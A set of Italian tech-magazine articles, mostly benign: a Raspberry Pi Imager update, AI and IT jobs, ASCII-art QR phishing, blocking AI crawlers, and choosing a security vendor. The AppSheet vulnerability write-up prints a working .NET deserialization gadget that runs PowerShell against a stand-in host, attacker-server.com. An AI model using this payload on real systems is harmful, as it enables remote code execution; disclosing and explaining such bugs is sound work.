Ormai da anni, esistono strumenti che permettono di sviluppare applicazioni senza scrivere del codice, ma semplicemente collegando tra loro fonti di dati con una sorta di “programmazione visuale”. In pratica, si usa un editor grafico per costruire un diagramma di flusso delle operazioni previste, al fine di automatizzare alcune specifiche operazioni. Per esempio, una scuola potrebbe preparare un form per permettere ai genitori di specificare delle preferenze per la mensa e poi inviare le statistiche calcolate sui risultati del “sondaggio” alla società che si  occupa di fornire il cibo agli studenti. Questo permetterebbe di evitare la distribuzione di centinaia di moduli cartacei
che dovrebbero poi essere ricopiati a mano, per aggregare e inviare manualmente i risultati al destinatario. Naturalmente, il fatto che questi strumenti possano essere usati da persone che non hanno competenze di programmazione è di per sé un problema: è meno probabile infatti che possano comprendere le implicazioni di alcune condizioni o i rischi derivanti dal concedere più autorizzazioni del dovuto… Ma, al di là di tutto ciò, esistono oggi numerosi strumenti che offrono questo servizio a tutti. Uno dei più noti è senza ombra di dubbio: AppSheet.

IL PUNTO SBAGLIATO

Prima di andare avanti, è necessario chiarire un punto. Ovvero, che questa programmazione “senza codice” non è davvero “senza codice”. Il codice c’è, almeno sotto la scocca! Già, perché i vari task vengono eseguiti sui server di Google sulla base delle informazioni inserite dall’utente, grazie a degli algoritmi predefiniti, scritti in vari linguaggi. Non è dato sapere i dettagli, ma sicuramente per alcune cose viene utilizzato del codice .NET. Ed è proprio in questo
che è stata scoperta una vulnerabilità del sistema!

IL CASO APPSHEET

Il problema di fondo era nella “serializzazione degli oggetti”. Quando un utente progettava una applicazione su AppSheet, sostanzialmente aggiungeva componenti e li configurava tramite dei wizard. Questi memorizzavano le varie configurazioni, che erano solitamente dei dizionari o comunque degli oggetti più o meno complessi, in forma serializzata, cioè li traducevano in testo. Un dizionario, infatti, può facilmente essere serializzato sotto forma di JSON. Il problema di questa cosa è che, se il tipo di dato non viene esplicitato, il sistema può incappare in  un’ambiguità nel momento in cui il dato viene deserializzato, per andare a costituire l’oggetto originale. In certi casi il sistema può utilizzare dei meccanismi automatici: può cercare di capire se un elemento è un numero oppure un testo. Il problema si pone nelle varie tipologie di testo, che in alcuni casi possono andare a creare oggetti più complessi, come componenti .NET. Se l’algoritmo suppone che un certo testo sia la forma serializzata di un oggetto di tipo URL, cercherà di utilizzarlo per fare una chiamata HTTP. Se invece pensa che debba essere un oggetto di tipo “shell di sistema”, cercherà di eseguire il comando. Se il sistema non controlla il tipo di dato che dovrebbe aspettarsi, è possibile per l’utente inserire come testo un oggetto serializzato, e a quel punto il sistema cercherebbe di deserializzarlo.

L’interfaccia di AppSheet offre un editor grafico per comporre la vista di una applicazione. FONTE: https://www.appsheet.com/

AUTOMATICO

Nel caso di AppSheet, si è scoperto che era possibile creare un’applicazione con un Bot da eseguire automaticamente.
Questo Bot poteva avere uno Step, cioè un passaggio del cronjob, di tipo webhook. Dopo, AppSheet permetteva di definire il necessario per fare una chiamata HTTP verso un webhook. Ciò significa che si poteva definire il metodo della chiamata, l’URL da contattare e il payload completo della chiamata. In teoria, il payload poteva contenere i parametri che erano passati al webhook, ma bisognava tenere a mente che in alcuni di questi potevano esserci anche oggetti dell’applicazione. E quindi il payload veniva serializzato. Il problema è che un malintenzionato poteva scrivere un payload che, una volta deserializzato, andava a produrre un oggetto pericoloso! Un esempio di codice?
Eccolo…

{
“$type”: “System.Windows.Data.
ObjectDataProvider, Presenta
tionFramework, Version=4.0.0.0,
Culture=neutral, Publi
cKeyToken=31bf3856ad364e35”,
“MethodName”: “Start”,
“MethodParameters”: {
“$type”: “System.Col
lections.ArrayList, mscorlib,
Version=4.0.0.0, Culture=-
neu tral, PublicKeyToken=b77a
5c561934e089”,
“$values”: [
“Cmd”,
“/c powershell -com
mand \”Invoke-WebRequest -URI
http://attacker-server.com\””
]
},
“ObjectInstance”: {
“$type”: “System.Diagno
stics.Process, System, Ver
sion=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089”
}
}

Il risultato è che il deserializzatore generico interpretava questo testo come un oggetto .NET che conteneva un oggetto System.Diagnostic.Process. Cioè, un processo, che viene lanciato con la riga di comando specificata tra i MethodParameters:

powershell -command \
”In voke-WebRequest -URI
http://attacker-server.com\”

Appena il deserializzatore creava l’oggetto, cercava il suo metodo Start e lo chiamava: siccome questa è la funzione che lancia il comando, esso viene eseguito immediatamente sul server di Google. In tal caso il comando era solo un test, che fa una semplice chiamata HTTP a un server Web scelto dal malintenzionato. Ma è ovvio che poteva essere utilizzato un qualunque comando PowerShell. Sarebbe stato persino possibile scaricare ed eseguire un intero script PowerShell. Il risultato è una Remote Code Execution da manuale!

Il report che ha segnalato la vulnerabilità per la prima volta. FONTE: https://bughunters.google.com/.

L’ENTITÀ

Di fatto, questa vulnerabilità permetteva di creare una sorta di botnet sulla rete di Google. Se infatti avesse voluto attaccare un sito Web, per esempio, avrebbe dovuto semplicemente creare un buon numero di applicazioni di questo tipo, che eseguivano una serie di cicli di richieste HTTP verso il sito vittima, bombardandolo di richieste mandandolo offline. Non solo: siccome eventuali attività eseguite da questi bot sarebbero risultate provenire da una rete di proprietà di Google, e quindi generalmente considerata sicura, sarebbe stato facile attaccare altri servizi senza farsi identificare facilmente! È chiaro che per creare queste applicazioni serviva un account Google e un pagamento con carta di credito, quindi almeno una qualche forma di identificazione c’era e sarebbe stata teoricamente possibile risalire al malintenzionato…
Inoltre, questo tipo di “innesco” della vulnerabilità non era ideale per generare delle reverse shell, perché sfruttava operazioni pianificate che giravano in ambienti con una durata ridotta, quindi almeno l’utilizzo era leggermente più limitato. Il bug, scoperto qualche anno fa, è stato reso pubblico solo di recente e metteva a rischio i server di un big come Google ma, teoricamente, non i dati degli utenti. Appena ricevuta la segnalazione, BigG ha ricompensato chi ha scoperto tutto con diecimila dollari e ha modificato AppSheet forzando la dichiarazione del tipo di dato per gli oggetti serializzati, così da risolvere alla radice il problema. Nessuna delle applicazioni esistenti ha avuto bisogno di  modifiche, visto che il bugfix non ha avuto alcun impatto sul frontend di AppSheet. Speriamo non si ripeta…

Imager è lo strumento ufficiale di scrittura delle immagini sviluppato dalla Raspberry Pi Foundation, pensato per semplificare la preparazione dei supporti di memorizzazione per i dispositivi Raspberry Pi. La versione 2.0 rappresenta una riprogettazione completa dell’interfaccia piuttosto che un aggiornamento incrementale.

La versione 2.0 rappresenta una riprogettazione completa dell’interfaccia piuttosto che un aggiornamento incrementale e introduce una pratica visualizzazione guidata

Le novità in pillole

Introduce un’interfaccia guidata passo per passo che accompagna l’utente attraverso una sequenza di fasi ben distinte, che includono la selezione del modello di Raspberry Pi, la scelta del sistema operativo, l’individuazione del dispositivo di destinazione, la configurazione del sistema, la scrittura dell’immagine e il completamento del processo. Ogni fase occupa l’intera finestra dell’applicazione, offrendo spazio per spiegazioni, messaggi di validazione e informazioni contestuali, riducendo l’affollamento visivo e rendendo più accessibili anche le configurazioni avanzate. Integra inoltre la possibilità di preconfigurare Raspberry Pi Connect durante il processo di scrittura dell’immagine: autenticandosi in questa fase, il dispositivo risulta già collegato al proprio account al primo avvio, consentendo subito l’accesso remoto tramite condivisione dello schermo o shell. L’accessibilità è un elemento centrale della
riprogettazione, con controlli etichettati per i lettori di schermo, navigazione completa da tastiera e più attenzione al contrasto dei colori e alla disposizione degli elementi. La nuova combinazione cromatica e l’uso generoso dello spazio bianco contribuiscono a migliorare la leggibilità e la chiarezza dell’interfaccia, rendendo Imager più fruibile per un pubblico ampio, compresi i novizi.

Leggi anche: “Media Center sulla Raspberry“

La sensazione che l’IA stia “portando via il lavoro” a chi opera nell’IT è comprensibile. Negli ultimi anni avete visto strumenti capaci di scrivere codice plausibile, suggerire configurazioni di sistema, spiegare log complessi, generare playbook o script di automazione in pochi secondi. Attività che fino a poco tempo fa richiedevano tempo, esperienza e spesso una buona memoria tecnica oggi sembrano improvvisamente a portata di prompt. Ma fermiamoci un attimo su un punto chiave: l’IA non sta sostituendo i ruoli, sta comprimendo il valore delle mansioni più ripetitive e standardizzabili. Ed è un fenomeno che chi lavora nell’IT ha già visto molte volte, dall’automazione dei data center alla virtualizzazione, dal cloud all’infrastructure as code.

Lo stato reale delle cose, senza allarmismi

Oggi l’IA funziona molto bene quando il problema è ben delimitato, descritto in modo chiaro e privo di ambiguità. Se le date una funzione da scrivere, una configurazione da tradurre, un errore da interpretare o una procedura da spiegare, produce risultati utili e spesso sorprendenti. Questo perché lavora in un dominio che le è congeniale: testo, pattern, esempi già visti. Dove invece fatica (e continuerà a farlo a lungo) è nel mondo reale dell’IT operativo. Qui le decisioni non sono mai solo tecniche. Entrano in gioco vincoli organizzativi, storici, politici, economici. Sistemi che “non si possono toccare” per ragioni non documentate. Scelte fatte anni prima da persone che non ci sono più. Priorità che cambiano in base al contesto aziendale più che alla qualità tecnica di una soluzione. L’IA può suggerire come fare qualcosa, ma non sa quando è il momento giusto per farlo, perché una soluzione è preferibile a un’altra in quell’organizzazione specifica, o quali conseguenze sistemiche avrà una modifica apparentemente innocua.

Preoccupati che l’IA vi rubi il lavoro? Non siete i soli: https://willrobotstakemyjob.com è un sito Internet che valuta il rischio che il vostro tipo di lavoro sia presto automatizzato

Se siete sysadmin

Il vostro valore non sta più nel saper configurare un servizio, ma nel sapere cosa succede quando qualcosa va storto. L’IA può suggerire una configurazione di Nginx o un playbook Ansible, ma non conosce la storia della vostra infrastruttura, le sue cicatrici, i suoi compromessi. Diventate indispensabili quando siete quelli che conoscono davvero il comportamento reale dei sistemi: quali
servizi reggono i picchi e quali no, dove sono i veri single point of failure, quali automazioni sono sicure e quali possono causare disastri silenziosi. Questo significa investire tempo nell’osservabilità, nei log, nei post-mortem, nella documentazione viva di ciò che è successo davvero, non di ciò che “dovrebbe succedere”. Un altro punto cruciale è la responsabilità. L’IA non firma un change, non decide se è il momento giusto per aggiornare un cluster critico, non valuta l’impatto organizzativo di un downtime. Se diventate la persona che sa dire “questa cosa tecnicamente si può fare, ma operativamente è rischiosa”, state già giocando su un piano che l’automazione non copre.

Se siete programmatori

La minaccia non è che l’IA scriva codice al posto vostro, ma che scriva lo stesso codice che scrivereste voi se vi limitate a risolvere task isolati. Il codice in sé sta diventando una commodity; il contesto in cui quel codice vive no. Diventate indispensabili quando sapete progettare sistemi, non solo funzioni. Quando capite il debito tecnico, lo riconoscete prima che esploda e sapete spiegare perché “questa scorciatoia oggi ci costerà mesi domani”. L’IA può generare soluzioni eleganti, ma non sente il peso della manutenzione a lungo termine, né lavora nello stesso codebase da cinque anni. C’è poi un aspetto spesso sottovalutato: la capacità di revisione critica. Saper leggere codice generato, individuare problemi di sicurezza, edge case mancanti, assunzioni sbagliate. In molte organizzazioni, il valore si sposterà sempre di più da “scrivere codice” a validare, integrare e rendere sicuro codice scritto anche da altri (umani o IA).

Uno dei termini più menzionati in tema di sviluppo e IA è il debito tecnico. Lasciare che un LLM scriva buona parte del codice va bene ma va supervisionato con cura!

Se lavorate in DevOps/Platform/SRE

Se operate in ruoli DevOps o Platform, siete in una posizione strategica. Il vostro lavoro vive esattamente al confine tra sviluppo, operazioni e organizzazione, ed è un confine che l’IA fatica ad attraversare. Diventate indispensabili quando progettate piattaforme che tengono conto non solo della tecnologia, ma delle persone che le useranno. Pipeline comprensibili, sistemi di deploy che
riducono l’errore umano, ambienti che rendono difficile fare danni quando qualcosa va storto. L’IA può suggerire una pipeline CI/CD, ma non sa se il vostro team la userà davvero o la aggirerà. Inoltre, siete quelli che vedono l’intero flusso: dal commit in repository fino al servizio in  produzione. Questa visione sistemica è rarissima e preziosa. Coltivatela, documentatela, rendetela esplicita: è ciò che vi rende difficili da sostituire.

Se siete figure junior o in crescita

Se siete all’inizio, l’IA può sembrare schiacciante: fa in pochi secondi ciò che voi state ancora imparando. Qui il rischio è cercare di competere sul terreno sbagliato. Non cercate di essere più veloci dell’IA. Cercate di capire perché una soluzione funziona, non solo che funziona. Usate l’IA come tutor, non come scorciatoia: chiedetele spiegazioni, alternative, limiti. Ogni risposta che accettate senza comprenderla vi rende più deboli, non più produttivi. Chi cresce davvero è chi sviluppa presto senso critico, capacità di fare domande e di collegare i pezzi. L’IA accelera  l’apprendimento, ma solo se siete voi a guidarlo.

Se avete responsabilità tecniche o di coordinamento

Se avete ruoli di responsabilità, il vostro compito è forse quello che cambia di meno, ma diventa più
evidente. L’Intelligenza Artificiale non gestisce persone, non media conflitti, non decide priorità sotto pressione. Diventate indispensabili quando sapete tradurre obiettivi di business in scelte tecniche sensate e, al contrario, spiegare limiti tecnici a chi prende decisioni strategiche. In un mondo in cui “l’IA può fare tutto” è una narrazione diffusa, chi sa dire cosa non va fatto e perché
diventa una figura chiave.

Gli hacker hanno trovato un nuovo modo per nascondere truffe e tentativi di phishing dentro le e-mail: trasformare i codici QR in semplici simboli di testo. Secondo Kaspersky, questa tecnica permette di aggirare molte difese automatiche che di solito controllano le immagini o i link sospetti presenti nei messaggi di posta. Nella seconda metà del 2025, l’azienda ha registrato un aumento di cinque volte degli attacchi di phishing basati su QR code, e ora questa nuova variante rende il problema ancora più insidioso.

Come funziona l’attacco

A prima vista può sembrare un dettaglio curioso, ma il trucco è ingegnoso. Invece di inserire il classico codice QR come immagine quadrata in bianco e nero, i criminali lo “disegnano” usando lettere, numeri e simboli. È una tecnica che richiama la vecchia grafica ASCII, quella usata decenni fa quando i computer non riuscivano ancora a mostrare vere immagini e le figure venivano costruite con caratteri di testo. In pratica, il QR non è più una foto o un file grafico, ma una specie di mosaico fatto di segni tipografici.

Un codice QR dannoso composto da stringe di caratteri di testo

Perché farlo?

Perché molti sistemi di sicurezza delle e-mail cercano elementi pericolosi analizzando immagini o link. Se invece il codice è composto da testo, alcuni controlli potrebbero non riconoscerlo subito come un QR code dannoso. È un po’ come scrivere un messaggio segreto in un modo che una persona capisce al volo, ma una macchina fa più fatica a interpretare.

Lo schema della truffa resta però molto familiare. La vittima riceve una mail che sembra arrivare da un partner commerciale o da un servizio noto, per esempio una richiesta di firmare un documento tramite DocuSign. Nel messaggio compare il QR “testuale” e l’utente viene invitato a scansionarlo con lo smartphone per aprire il documento. A quel punto, però, non si apre un portale legittimo, ma una pagina falsa che chiede di inserire credenziali aziendali o altri dati sensibili.

Un esempio di grafica ASCII

Ed è proprio qui che il phishing diventa più efficace. Usare il telefono per scansionare un codice crea una sensazione di normalità: molte persone pensano che il QR sia solo un collegamento pratico e abbassano la guardia. Inoltre, sullo schermo di uno smartphone è più facile non notare dettagli sospetti, come un indirizzo web leggermente modificato o una pagina fatta per imitare un servizio autentico.

Un QR code creato con simboli di testo dovrebbe far scattare subito un campanello d’allarme, soprattutto se chiede di inserire credenziali di lavoro. In generale, quando una e-mail invita a usare il telefono per accedere a documenti riservati o per eseguire verifiche urgenti, conviene fermarsi un attimo e controllare bene il mittente, il contesto e l’indirizzo del sito di destinazione.

*Illustrazione progettata da Kaspersky

Una volta che avete messo qualche barriera a livello di accesso, il passo successivo è più sottile e, in molti casi, più efficace: progettare i contenuti stessi pensando a come verranno letti dalle macchine, non solo dagli esseri umani. Qui non si tratta di “bloccare”, ma di cambiare il rapporto  costo/beneficio per chi raccoglie dati su larga scala.

Testi: chi non volete come lettore?

I modelli linguistici funzionano al meglio quando trovano testi lineari, ben strutturati, semanticamente puliti e privi di ambiguità. È esattamente il tipo di scrittura che, per anni, abbiamo cercato di ottimizzare per i motori di ricerca e per la documentazione tecnica. Oggi, però, quella stessa chiarezza è un vantaggio anche per chi addestra modelli. Un primo approccio consiste nel cosiddetto watermarking stilistico. Non parliamo di marchi visibili o avvisi legali, ma di scelte ricorrenti di stile che diventano una sorta di firma. Un certo modo di introdurre i concetti, una struttura sintattica riconoscibile, l’uso sistematico di alcune formule o transizioni. Tutti elementi che non disturbano la lettura umana, ma che rendono più facile riconoscere quel testo se riappare altrove sotto forma di output generato. Un’altra tecnica molto efficace è la pubblicazione differenziata. In pratica, si separa il contenuto indicizzabile da quello ad alto valore. La parte pubblica serve a spiegare il contesto, a far capire che quel contenuto esiste e a offrire abbastanza informazioni per orientarsi. La parte realmente preziosa, quella che contiene il know-how completo, resta accessibile solo tramite autenticazione, download on-demand o canali non direttamente crawlable. Dal punto di vista editoriale è una scelta matura, non difensiva: state decidendo consapevolmente dove termina l’informazione pubblica e dove inizia il patrimonio che volete controllare. C’è poi un aspetto più tecnico ma spesso sottovalutato: i contenuti dinamici. I crawler, umani o artificiali, preferiscono HTML statico e facilmente replicabile. Quando parti del testo vengono generate a runtime, dipendono da sessioni o da parametri contestuali, la raccolta massiva diventa più costosa e meno affidabile. Non serve trasformare tutto in un’applicazione complessa; basta rendere dinamiche le sezioni che contano davvero. Per esempio potreste fare, in PHP:

<?php
session_start();
$variants = [
“In questa sezione analizziamo il flusso completo
di inizializzazione del servizio, partendo dal bootstrap
fino alla gestione degli errori.”,
“Qui viene descritto il ciclo di inizializzazione del
servizio, dal bootstrap iniziale alla fase di gestione
delle condizioni di errore.”,
“In questo passaggio approfondiamo l’intero
processo di avvio del servizio, includendo bootstrap e
meccanismi di gestione degli errori.”
];
if (!isset($_SESSION[‘text_variant’])) {
$_SESSION[‘text_variant’] = array_rand($variants);
}
$dynamic_text = $variants[$_SESSION[‘text_variant’]];
?>

E poi ovviamente nel template:
<section class=”deep-content”>
<p><?= htmlspecialchars($dynamic_text) ?></p>
</section>
Non serve generare intere pagine dinamiche. Basta che le parti ad alto valore non siano  byteidentiche nel tempo.

Il problema dei crawler dell’IA è così significativo che ci sono servizi, come https://darkvisitors.com/, che permettono di analizzarli e tracciarli

Il codice: resistete alla tentazione

Il codice è probabilmente il tipo di contenuto più ambito dagli LLM, perché è strutturato,  verificabile e immediatamente riutilizzabile. Pubblicarlo in forma grezza e completa equivale, di fatto, a offrirlo su un piatto d’argento. E nonostante questo non vi diremo di proteggerlo. La spiegazione è semplice: la maggior parte delle strategie richiede offuscazione, riduzione della documentazione e dei commenti e minore apertura del codice stesso. Tutto, insomma, profondamente contrario ai principi Open Source. Naturalmente potete sempre evitare di condividere il vostro codice ma vale davvero la pena?

I dataset: valgono come oro

Se gestite dataset, siete nella posizione più delicata. Sono il carburante diretto dell’addestramento e, una volta persi, è impossibile recuperarne il controllo. Il primo errore da evitare è il download anonimo. Un dataset accessibile senza frizioni verrà copiato, archiviato e probabilmente riutilizzato senza che possiate nemmeno accorgervene. Introdurre una minima barriera, come la registrazione o l’accettazione esplicita dei termini, cambia in modo radicale la situazione. Non tanto perché impedisce l’abuso, ma perché rende l’uso tracciabile e giuridicamente qualificato. Un approccio ancora più efficace è evitare del tutto la distribuzione del dataset completo. In molti casi è possibile offrire accesso tramite query, API o sottoinsiemi controllati. Chi vuole davvero lavorare con quei dati può farlo, ma senza ottenere una copia completa pronta per l’addestramento indiscriminato. Infine, le clausole anti-training. Vietare esplicitamente l’uso dei dati per addestramento, finetuning
o modelli generativi non è una garanzia tecnica, ma è una dichiarazione forte. Serve a chiarire le condizioni, a rafforzare eventuali azioni future e a disincentivare l’uso opportunistico.

IMMAGINI: QUALITÀ VISIVA SÌ, QUALITÀ PER L’ADDESTRAMENTO NO

Il Glaze Project è un insieme di strumenti di ricerca sviluppati dalla University of Chicago con l’obiettivo di aiutare gli artisti a proteggere le proprie opere contro l’uso non autorizzato da parte di modelli generativi IA, in particolare contro lo scraping massivo e la style mimicry, cioè la capacità dei modelli di imitare lo stile di un artista. Glaze modifica le immagini in modo minimale e quasi impercettibile all’occhio umano, ma abbastanza diverso da far sì che un modello IA le interpreti come appartenenti a un altro stile se le include nel training. In pratica cambia la “percezione IA” senza modificare quella umana: se un AI model cerca di replicare lo stile originale, finisce con output strani o non riconducibili. Nightshade è concepito come uno strumento più aggressivo: applica perturbazioni che spingono il modello ad associare quindi l’immagine a una identità completamente diversa all’interno del processo di training. È come inserire una “poison pill” che distorce le associazioni interne del modello se quella immagine viene usata nei dati. Entrambi gli strumenti hanno lo scopo di dissuadere o disturbare l’uso non consensuale delle opere nei dataset di addestramento, ma non sono soluzioni perfette e dipendono da come evolvono i modelli IA. Siccome al momento sono solo disponibili localmente per Windows e macOS, potete chiedere l’accesso alla versione online gratuita che permette di caricare immagini attraverso il browser e ottenere l’immagine glazed.

Una strategia di lotta contro l’uso indiscriminato dei vostri contenuti visivi per l’addestramento dell’IA è data dal Glaze Project (https://glaze.cs.uchicago.edu/), che “avvelena” le immagini senza modifiche percettibili dal nostro occhio

Se gestite un sito Web e avete già dimestichezza con Linux, server e stack applicativi, la buona notizia è che qualcosa potete farla davvero. La cattiva è che nessuno di questi strumenti è una bacchetta magica. Funzionano in combinazione e soprattutto in prospettiva preventiva, non retroattiva.

Il file robots.txt

Il file robots.txt resta il primo punto di controllo. È banale da implementare, universalmente conosciuto e… facilmente ignorabile. Oggi molti crawler legati all’AI dichiarano uno user-agent specifico. Potete quindi aggiungere regole mirate come, per esempio:

User-agent: GPTBot
Disallow: /
User-agent: CCBot
Disallow: /
User-agent: /

Questo non impedisce tecnicamente l’accesso, ma stabilisce una volontà esplicita. Dal punto di vista legale e contrattuale, è un segnale importante: state dichiarando che quei contenuti non sono
concessi per quel tipo di utilizzo. Pensatelo come il cartello “proprietà privata”: non ferma un ladro determinato, ma cambia il quadro giuridico.

Meta tag e header HTTP

Oltre che con robots.txt, potete agire a livello di singola pagina usando meta tag HTML o header HTTP.

<meta name=”robots” content=”noai, noimageai”>

Oppure via header:
X-Robots-Tag: noai, noimageai

Il vantaggio è la granularità: potete escludere solo certe sezioni, certi tipi di contenuto o solo le pagine ad alto valore (articoli premium, documentazione interna pubblica, ecc.). Lo svantaggio è lo stesso di robots.txt: funzionano solo con attori che decidono di rispettarli. Ma di nuovo, il valore non è solo tecnico, è anche probatorio.

Blocco e filtraggio dei bot a livello server

Se analizzate i log (e dovreste), molti crawler IA sono riconoscibili per user-agent, pattern di richieste, frequenza e comportamento non umano. Con Nginx, Apache o a livello di reverse proxy potete bloccare user-agent noti, applicare rate limit aggressivi e servire risposte diverse (per esempio 403 o contenuti minimi).
Per esempio in Nginx:
if ($http_user_agent ~* (GPTBot|CCBot|ClaudeBot)) {
return 403;
}
Questo è un blocco reale, non una richiesta di cortesia. Attenzione però, perché gli user-agent possono essere falsificati, rischiate falsi positivi e inoltre dovete mantenere le regole aggiornate. È una misura efficace, ma va trattata come una regola firewall: monitorata, testata, rivista.

CDN e WAF: delegare la guerra sporca

Se usate una CDN (Content Delivery Network) o un Web Application Firewall, avete effettivamente un’arma in più. Molti provider permettono, infatti, di identificare bot “probabilmente non umani” e applicare quindi dei challenge (JS, CAPTCHA), bloccando così lo scraping massivo a monte. Il vantaggio è evidente: scaricate complessità su un provider e riducete il traffico indesiderato prima che tocchi il vostro server. Lo svantaggio è la perdita di controllo fine e, spesso, una certa opacità nelle decisioni automatiche. Per siti medio-grandi o con contenuti ad alto valore, però, è spesso la soluzione più pragmatica.

Autenticazione, anche leggera

Un fatto scomodo: i crawler amano i contenuti pubblici anonimi. Anche una barriera minima (login, token temporanei, sessioni, ecc.) riduce drasticamente la probabilità che un contenuto finisca in dataset di addestramento generalisti. Per esempio, potreste rendere la documentazione tecnica accessibile solo agli utenti registrati, avere articoli completi dietro paywall o login, usare API al
posto di dump statici, ecc. Non è solo una scelta di business: è una scelta di controllo della superficie di esposizione. Non potete impedire tutto, ma potete rendere costoso, tracciabile e giuridicamente contestabile l’uso dei vostri contenuti.

*Illustrazione progettata da Freepick

La sicurezza informatica è diventata una priorità concreta anche per PMI, studi professionali e realtà che non hanno un reparto IT interno strutturato. Clienti, fornitori, pagamenti, dati HR, documenti amministrativi e accessi ai gestionali sono ormai parte del patrimonio aziendale. Proteggerli significa difendere continuità operativa, reputazione e valore del business.

Il problema è che molte aziende sanno di dover intervenire, ma non sanno da dove partire. Alcune scelgono il fornitore più economico, altre quello che usa parole più tecniche, altre ancora agiscono solo dopo un attacco o una richiesta assicurativa. Un approccio più sano è diverso: capire i rischi reali, definire priorità e scegliere un partner capace di accompagnare l’azienda nel tempo.

La migliore cybersecurity non promette invulnerabilità. Promette metodo, prevenzione, capacità di risposta e miglioramento continuo.

Cosa fa davvero un’azienda di sicurezza informatica

Un fornitore di cybersecurity non dovrebbe limitarsi a installare antivirus o firewall. Il suo compito è aiutare l’azienda a capire dove si trovano i rischi, quanto sono gravi e quali interventi sono davvero utili rispetto al contesto operativo.

I servizi possono includere analisi iniziali, protezione degli endpoint, verifica delle configurazioni cloud, controllo degli accessi, backup, formazione del personale, test di vulnerabilità, monitoraggio sicurezza e supporto in caso di incidente. Un partner serio traduce ogni attività in impatto pratico: meno interruzioni, minore esposizione a frodi, maggiore controllo sugli accessi e migliore protezione dei dati aziendali.

Una buona azienda di sicurezza informatica deve quindi saper parlare sia con l’IT sia con la direzione. La parte tecnica conta, ma conta anche la capacità di spiegare perché una misura serve, quali rischi riduce e quali limiti conserva.

Quando serve un partner esterno

Un partner esterno diventa utile appena l’azienda gestisce dati sensibili, usa sistemi cloud, ha dipendenti con accessi da remoto, lavora con pagamenti digitali o dipende da software gestionali per operare ogni giorno. Non serve attendere una violazione per iniziare.

Per molte PMI, affidarsi all’esterno significa ottenere competenze che internamente non sarebbero sostenibili a tempo pieno. Scegliere un fornitore di cybersecurity permette di avere un presidio più ampio, con competenze aggiornate su minacce, strumenti, procedure e normative.

Il valore della continuità

La sicurezza non è un intervento una tantum. Cambiano i software, cambiano le persone, cambiano le abitudini di lavoro e cambiano anche le tecniche di attacco. Per questo un buon partner deve prevedere verifiche periodiche, aggiornamenti, report comprensibili e momenti di revisione. La domanda da fare non è solo “cosa installate?”, ma “come ci seguite nei prossimi mesi?”.

Criteri per scegliere bene

La prima valutazione riguarda le competenze. Certificazioni, casi reali, esperienza su aziende simili e conoscenza degli ambienti più diffusi sono segnali positivi. Tuttavia la competenza non basta se manca un metodo chiaro.

Un fornitore affidabile parte da una valutazione del contesto. Chiede quali dati trattate, quali sistemi usate, quali processi sono critici, quali persone hanno accesso alle informazioni e quali conseguenze avrebbe un blocco operativo. Da lì propone un piano sostenibile, con priorità e tempi realistici.

Metodo, trasparenza e responsabilità

La trasparenza è decisiva. Un buon partner spiega cosa è incluso, cosa non è incluso, quali attività sono continuative e quali sono straordinarie. Non usa la paura come leva commerciale, non promette protezione totale e non presenta ogni rischio come emergenza immediata.

Conta anche la capacità di documentare il lavoro. Report chiari, procedure scritte, registrazione degli interventi e tracciabilità delle decisioni aiutano l’azienda a mantenere controllo e consapevolezza. La sicurezza efficace è fatta di processi verificabili, non solo di strumenti.

Domande da fare al fornitore prima di decidere

Prima di firmare, conviene capire come il fornitore lavora davvero. Una domanda utile riguarda l’analisi iniziale: verrà fatta una valutazione dei rischi o verrà proposta subito una soluzione standard? La risposta dice molto sul livello di personalizzazione.

Occorre poi chiedere come vengono gestiti gli incidenti. Il tema dell’incident response è centrale: in caso di attacco, blocco dei sistemi, furto credenziali o ransomware, l’azienda deve sapere chi contattare, con quali tempi di risposta, quali attività vengono svolte e quali costi sono inclusi.

Altre domande riguardano il monitoraggio sicurezza, la gestione degli aggiornamenti, la formazione dei dipendenti, la sicurezza dei backup, la protezione degli account amministrativi e la produzione di report. Un fornitore serio risponde in modo concreto, senza rifugiarsi in sigle incomprensibili. La chiarezza è già una forma di affidabilità operativa.

Come valutare un preventivo e confrontare offerte diverse

Confrontare offerte di cybersecurity solo sul prezzo è rischioso, perché due preventivi possono sembrare simili ma includere attività molto diverse. Il primo elemento da verificare è l’ambito: quali sedi, dispositivi, utenti, server, ambienti cloud e applicazioni sono coperti?

Va poi controllato il livello di servizio. Un canone mensile può includere solo licenze software oppure anche monitoraggio, interventi, report, assistenza e revisione periodica. Il dettaglio cambia completamente il valore della proposta.

Prezzo, perimetro e risultati attesi

Un buon preventivo dovrebbe indicare cosa viene fatto, con quale frequenza, da chi, con quali tempi di risposta e con quali obiettivi misurabili. Non sempre l’offerta più ampia è la migliore, ma deve essere chiaro cosa l’azienda sta acquistando.

Una proposta utile distingue tra interventi urgenti, misure prioritarie e attività evolutive. Questo permette di costruire un percorso progressivo, sostenibile anche per realtà con budget limitati. La cybersecurity deve proteggere il business, non diventare un costo opaco e ingestibile.

Red flags: segnali di un fornitore poco affidabile

Un primo segnale d’allarme è la promessa di sicurezza assoluta. Nessun fornitore serio può garantire che un attacco non avverrà mai. Può però ridurre il rischio, migliorare la prevenzione e preparare una risposta efficace.

Da osservare con cautela anche chi propone soluzioni identiche per tutti, senza analisi preliminare. Ogni azienda ha dati, processi, persone e strumenti diversi. Una proposta uguale per uno studio professionale, un e-commerce e un’azienda manifatturiera difficilmente sarà adeguata.

Altri segnali critici sono preventivi vaghi, mancanza di report, tempi di risposta non definiti, linguaggio volutamente oscuro, assenza di procedure per incident response e poca attenzione alla formazione del personale. Un fornitore poco trasparente può diventare un ulteriore fattore di rischio, non una protezione. La fiducia deve basarsi su evidenze, metodo e responsabilità.

Conclusione

Scegliere un partner di cybersecurity significa scegliere qualcuno a cui affidare una parte delicata della continuità aziendale. Per questo la decisione non dovrebbe nascere dalla paura né dal solo confronto economico, ma da una valutazione equilibrata di competenze, metodo, chiarezza e capacità di supporto.

Una buona scelta parte da domande semplici: il fornitore capisce il nostro business? Sa spiegare i rischi senza creare panico? Propone priorità realistiche? Definisce processi di monitoraggio sicurezza e incident response? Produce documentazione chiara? Aiuta le persone a lavorare meglio e in modo più sicuro?

La sicurezza informatica non è un prodotto da comprare una volta per tutte. È un percorso fatto di controlli, aggiornamenti, consapevolezza e collaborazione. Il partner giusto è quello che aiuta l’azienda a crescere in maturità, proteggendo dati, infrastrutture e operatività quotidiana con un piano concreto e sostenibile.